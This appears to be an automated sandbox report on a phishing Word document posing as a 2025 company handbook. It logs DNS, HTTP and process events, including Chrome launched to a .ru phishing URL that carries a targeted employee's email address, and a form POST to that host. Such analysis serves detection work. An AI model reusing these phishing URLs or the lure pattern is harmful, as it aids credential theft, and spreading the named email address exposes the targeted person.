Source: global traffic	HTTP traffic detected: GET /fDDWfZstwefEKWbituoktkIAsWpPPxXFAOWIEJMSDEUWXYWAXDCOTQBTBIQVVpqryD3KJ0Y6KrUjkRGJ4yzUinSuv36 HTTP/1.1Host: ijocrd8gscyrrpncx37g2njnvi2qysdl6xszanyihqwt0mroulce.novaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: c2uah.yazvbqkl.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: hajz.aezeib.ru
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: get.geojs.io
Source: global traffic	DNS traffic detected: DNS query: ijocrd8gscyrrpncx37g2njnvi2qysdl6xszanyihqwt0mroulce.novaxw.es

Source: unknown

HTTP traffic detected: POST /aj9IPN3XWv04k4e1dXLBqunWQ3ohyo HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-aliveContent-Length: 774sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTN48X1hxglA4zJGjsec-ch-ua-mobile: ?0Accept: */*Origin: https://c2uah.yazvbqkl.ruSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://c2uah.yazvbqkl.ru/QPImv5ff/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNnRm90a0h3ajc5VEtRWmZ2T3l2S2c9PSIsInZhbHVlIjoiVjNnL0dUbU9vYW5DZWFYbGdzZnBkSmhCRFoxNHVaSGJubzhTSlczK1VrdG8wSFRjNmVlSWlWMGhRSjI4R0JiMWZzcU5SYU5YVTQxWkRvL0RiU0c4Y215MzRvbThhQklmZ0g2cFlyMitRb2wwWkJkdG5IUE84TE9wWGd3Y3VBT2oiLCJtYWMiOiIyYzZlODM2ZWZjNmQ5MDMyMWEzMWQzZWNhNWQ0MmFiNGMyMjEzZTUxZDcxMzdiMjViODZlNjcwMzk2MzRhYmNiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImYvZUw0b3ZSenhuOE1RV3N4QTE1MXc9PSIsInZhbHVlIjoiMEFxTEYrMkpuazhSYXFnNlFTRTk3L1lUSTFYZkNJRnFvMzhHcnZ4MExHR2NzNGh6YVM0ak9zL29Qa3BxcUNZcG1jL1JEUUdabEpMWU85eUhUaGU4cUdqYXYwRlJRczgwVFpJa0ZqeVRKdU5MWERHLzhIejY1WHh6T2NPM2N1cHMiLCJtYWMiOiI5ZDU4MmI2NjNkNDQ0YzBmZTA3MzQ2MmYwZTllNzcxNDg3MmUwYWFmNTY5ZmRjNGU2Y2ZjMWFmZTQ2YmEwYzhiIiwidGFnIjoiIn0%3D

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 26 Mar 2025 22:34:33 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l5y2DqYQb8hoL9OciNfOPXqmYINXr7tMbQAAS%2BwPBVZifx1um7YPtJ%2BYiupac5sTeF122BU8IZeSvvttDPhVL1KEtUUdxCNAz5T%2BnnqIoVFrKyOqlYPltQFi0aFgTIVG9SFX"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=9851&min_rtt=9814&rtt_var=2785&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2048&delivery_rate=288346&cwnd=249&unsent_bytes=0&cid=b6286ff77be0778e&ts=318&x=0"Server: cloudflareCF-RAY: 926a1db57e499cc1-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=86350&min_rtt=86329&rtt_var=18245&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1706&delivery_rate=35377&cwnd=252&unsent_bytes=0&cid=92ddee7db17d4200&ts=619&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 26 Mar 2025 22:34:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gRAhQMX3IBMIFd7RXFiGt6UAuEKk2xxjzLhoNEc3dwggJsIylugoTnuk3q%2Ffjumg%2BU7DvXQHlTK0dfeQkw8ETDecCV1RHS3yDHkzPcj8qjVFkbAh%2BRy0wD4uARXf8AGMouVL"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingserver-timing: cfL4;desc="?proto=TCP&rtt=9878&min_rtt=9773&rtt_var=3740&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2243&delivery_rate=291415&cwnd=243&unsent_bytes=0&cid=6379bbdb14ffe0b3&ts=344&x=0"Cache-Control: max-age=14400CF-Cache-Status: EXPIREDServer: cloudflareCF-RAY: 926a1dba5e1242d5-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=85696&min_rtt=85519&rtt_var=18314&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2822&recv_bytes=1901&delivery_rate=35504&cwnd=252&unsent_bytes=0&cid=389d18d1ed000ee2&ts=654&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 26 Mar 2025 22:34:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XLNujsd3NTyrO4%2Fsm1hQJHwTkQzHl%2FZKMCtiG2CQ19dJ5943RKaT4zFZFxzh5ytbS7I90M3GW4Is9TRN5sgJWsEGpPzTtiIEPz0yUK%2BQ1O4Zrhh47vj7xbAVrkdFcjqm9r0L"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=26233&min_rtt=22713&rtt_var=9547&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2066&delivery_rate=125357&cwnd=176&unsent_bytes=0&cid=7a829a932b841d16&ts=192&x=0"Server: cloudflareCF-RAY: 926a1dbdfec9f797-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=85605&min_rtt=85154&rtt_var=18647&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1725&delivery_rate=35316&cwnd=250&unsent_bytes=0&cid=a12fd5e7588e01d5&ts=523&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 26 Mar 2025 22:34:37 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: cloudflareCf-Cache-Status: DYNAMICVary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ugkDz%2BdpjQWttwIAjgY7qoKr1o0V0cCzYz97bhY6LdOJdsJabRxyXXrACICDZVaqgNo6UwIbB2fv5fQDomPlnLRX0uvZEu5Ltsl0KKBeW3GNSEC27sXfTmjNcZ1R60LTXOGP"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server-Timing: cfL4;desc="?proto=TCP&rtt=9549&min_rtt=9170&rtt_var=4196&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2081&delivery_rate=233404&cwnd=248&unsent_bytes=0&cid=a49ccc0343b0c821&ts=318&x=0"CF-RAY: 926a1dcfed944386-EWRalt-svc: h3=":443"; ma=86400

Source: chromecache_98.11.dr	String found in binary or memory: http://github.com/fent/randexp.js/raw/master/LICENSE
Source: chromecache_98.11.dr	String found in binary or memory: https://github.com/fent)
Source: chromecache_104.11.dr	String found in binary or memory: https://www.rakuten.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 172.67.177.94:443 -> 192.168.2.16:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.94:443 -> 192.168.2.16:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.16:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.3.189:443 -> 192.168.2.16:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.5.189:443 -> 192.168.2.16:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.80.100:443 -> 192.168.2.16:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.220:443 -> 192.168.2.16:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.220:443 -> 192.168.2.16:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.94:443 -> 192.168.2.16:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.220:443 -> 192.168.2.16:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.56.43:443 -> 192.168.2.16:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.112.4:443 -> 192.168.2.16:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.96:443 -> 192.168.2.16:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.96:443 -> 192.168.2.16:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.16:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.16:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.0.100:443 -> 192.168.2.16:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.1.100:443 -> 192.168.2.16:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.42.188:443 -> 192.168.2.16:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.208.94:443 -> 192.168.2.16:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49795 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir6768_415197019

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir6768_415197019

Jump to behavior

Source: classification engine

Classification label: mal100.phis.troj.evad.winDOC@20/80@38/18

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Users\user\Desktop\~$vised - Mypharmaus 2025 Handbook03027.doc

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\{F0E9B8E2-1499-4B88-A9E8-CA3FE368941F} - OProcSessId.dat

Jump to behavior

Source: Revised - Mypharmaus 2025 Handbook03027.doc

OLE indicator, Word Document stream: true

Source: Revised - Mypharmaus 2025 Handbook03027.doc	OLE document summary: title field not present or empty
Source: Revised - Mypharmaus 2025 Handbook03027.doc	OLE document summary: author field not present or empty
Source: Revised - Mypharmaus 2025 Handbook03027.doc	OLE document summary: edited time not present or 0

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\Desktop\Revised - Mypharmaus 2025 Handbook03027.doc" /o ""
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://c2uah.yazvbqkl.ru/QPImv5ff/#Mjason.hodges@purduepharma.com
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1952,i,1454995366028342243,5054997005277595752,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2184 /prefetch:3
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1952,i,1454995366028342243,5054997005277595752,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2184 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: Revised - Mypharmaus 2025 Handbook03027.doc	Initial sample: OLE summary codepage = 1200
Source: Revised - Mypharmaus 2025 Handbook03027.doc	Initial sample: OLE document summary codepagedoc = 1200

Source: Revised - Mypharmaus 2025 Handbook03027.doc

Initial sample: OLE indicators vbamacros = False

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
